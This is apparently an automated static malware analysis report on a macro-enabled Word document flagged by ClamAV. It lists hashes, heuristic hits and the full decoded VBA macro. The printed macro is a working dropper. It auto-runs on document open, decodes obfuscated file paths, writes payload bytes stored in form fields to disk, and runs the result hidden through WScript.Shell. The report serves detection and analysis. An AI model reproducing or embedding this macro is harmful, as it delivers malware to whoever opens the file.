Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9fc84eadba969bd1…

MALICIOUS

Office (OOXML)

352.9 KB Created: 2021-03-03 12:40:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-03-31
MD5: e4ad03ab0e9413febc470f5a5eaf86c3 SHA-1: 359f5877e1cc61545f28fbaf2c947055a83eaacc SHA-256: 9fc84eadba969bd12cda144750cef361bcdff224026eb3921d8d46a5a424da5b
290 Risk Score

Heuristics 7

  • ClamAV: Ole2.Macro.Agent-9858803-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Ole2.Macro.Agent-9858803-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set petabytes = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set buttercake = CreateObject("Excel.Sheet")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5510 bytes
SHA-256: f44a7c2c782dab1f37d2226ea38e5b6992adef42e3a7b227b5fb2a5bc819313b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Document_Open()
'''Dim szTest() As String
'''szTest = Split(UserForm1.TextBox3.Text, ",")
'''
''''''''' Perfect  for assigning one converted bytes to exe bytes
'''Dim allnumbers() As Byte
'''Dim ptstoval As Double
'''Dim calculate As Double
'''Dim overallstring As String
'''overallstring = ""
'''ptstoval = 0
'''Open "c:\\Users\\Jadhav\\Desktop\\os_35.txt" For Append As #1
'''For Each vl In szTest
'''    ReDim Preserve allnumbers(ptstoval)
'''    calculate = szTest(ptstoval) / 2 - 1
'''    'overallstring = overallstring & CStr(calculate) & ","
'''    Write #1, calculate;
'''    'allnumbers(ptstoval) = CByte((szTest(ptstoval) + 1) / 2)
'''    'allnumbers(ptstoval) = CByte(calculate)
'''    ptstoval = ptstoval + 1
'''Next
''''''''' Ends Here
'''
'''
'''
'''Close #1
Call PenTen

End Sub































Attribute VB_Name = "Module1"
Sub PenTen()
Dim FileName As String
FileName = "TenTenequalsToThirteen"
Dim decodedfilename As String
decodedfilename = GiveMe(4)
Call AskUserDesktop(True)
Call DrainRain(decodedfilename)

End Sub
Function AskUserDesktop(ByVal bStatus As Boolean) As Boolean
  Dim IsUserDekstop As Boolean
  Dim lActiveFlag As Long
  Dim lRetval      As Long

  lActiveFlag = IIf(bStatus, 1, 0)
  lRetval = 0
  
  If lRetval > 0 Then
    IsUserDekstop = True
  Else
    IsUserDekstop = False
  End If

End Function


Sub DrainRain(ByVal FileName As String)

FileName = GiveMe(1)
Dim shame_dame As String

shame_dame = PathExists(FileName)
Dim allcrusher() As String
allcrusher = Split(UserForm1.TextBox2.Text, ",")
Call DebitHold(GiveMe(3), allcrusher)
If shame_dame = False Then
    Dim listOfText2() As String
    listOfText2 = Split(UserForm1.TextBox3.Text, ",")
    Call DebitHold(GiveMe(2), listOfText2)
    Call Tournament("Yes!")

Else

    Dim listOfText() As String
    listOfText = Split(UserForm1.TextBox4.Text, ",")
    Call DebitHold(GiveMe(2), listOfText)
    Call Tournament("Counttoten")



End If

End Sub

Public Function PathExists(path As String) As Boolean
    PathExists = Len(Dir(path)) > 0 Or Len(Dir(path, vbDirectory)) > 0
End Function

Public Function GiveMe(goal As Integer) As String
   Select Case goal
      Case 1
         GiveMe = RenderUnitL("32.5,28,45,42.5,51.5,54,49,54.5,58.5,56.5,45,37.5,51.5,48.5,56,54.5,56.5,54.5,50,57,22,38,33.5,41,45,34,56,47.5,53.5,49.5,58.5,54.5,56,52.5,45,58,25,22,23,22,24.5,23,24.5,23.5,27.5")
      Case 2
         GiveMe = RenderUnitL("32.5,28,45,39,56,54.5,50.5,56,47.5,53.5,33,47.5,57,47.5,45,57,49.5,53,53,53.5,49.5,22,56.5,48.5,56")
      Case 3
         GiveMe = RenderUnitL("48.5,28,45,55,56,54.5,50.5,56,47.5,53.5,49,47.5,57,47.5,45,53.5,47.5,51.5,54,57,47.5,51.5,54,22,48,47.5,57")
      Case Else
         GiveMe = RenderUnitL("50,57.5,48.5,52.5,59.5,54.5,57.5")
   End Select
End Function



Public Function RenderUnitL(border As String) As String
Dim szTest() As String
szTest = Split(border, ",")

Dim allnumbers() As Byte
Dim ptstoval As Double
Dim calculate As Double

overallstring = ""
ptstoval = 0

For Each vl In szTest
    ReDim Preserve allnumbers(ptstoval)
    calculate = (szTest(ptstoval) + 1) * 2
    allnumbers(ptstoval) = CByte(calculate)
    ptstoval = ptstoval + 1
Next
RenderUnitL = StrConv(allnumbers, vbUnicode)
End Function


Sub DebitHold(ByVal mPath As String, ByRef mbytes() As String)

Dim strFileName As String
Dim strFileExists As String

strFileName = mPath
strFileExists = Dir(strFileName)

If strFileExists = "" Then
     Dim res As Long
     Open mPath For Binary Access Write As #2
         For Each i In mbytes
             res = (i + 1) * 2
             Put #2, , CByte(res)
         Next
     Close #2
     
 Else
 End If

End Sub


Sub Tournament(ByVal str As String)


Dim count As Integer
Dim myname As String
Dim buttercake As Object
count = 386
If count < 431 Then
myname = "Robertjunior"
Set buttercake = CreateObject("Excel.Sheet")
Dim petabytes As Object
Set petabytes = CreateObject("WScript.Shell")

vegetables = Array("tomato", "lady", "finger")
Dim vegetablenames As Variant
Dim iterate As String
 
For Each Item In vegetables
    vegetablenames = vegetablenames & Item & Chr(10)
    iterate = Item & Chr(10)
    If iterate = "lady" Then myname = "uejamc"
        
Next
For i = 1 To 10
    Call ReturnMeFavor("Bigger nd Better")
    If i = 5 Then petabytes.Run (GiveMe(2)), 0, False
Next i



End If

End Sub



Public Function ReturnMeFavor(word As String) As Integer


  Dim TotalCount As String

  TotalCount = Len(word)

  ReturnMeFavor = TotalCount


End Function


Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C39F575A-0B4E-4B0A-B2CD-D3D7F468AE2B}{1A068260-C9BA-48AD-ADC2-F5CC77079DA5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub TextBox3_Change()

End Sub

Private Sub TextBox4_Change()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 888832 bytes
SHA-256: 658940030160254bc0c438a4becf931199377976036453361b5313d55179d9fc
Detection
ClamAV: Ole2.Macro.Agent-9858803-2
Obfuscation or payload: unlikely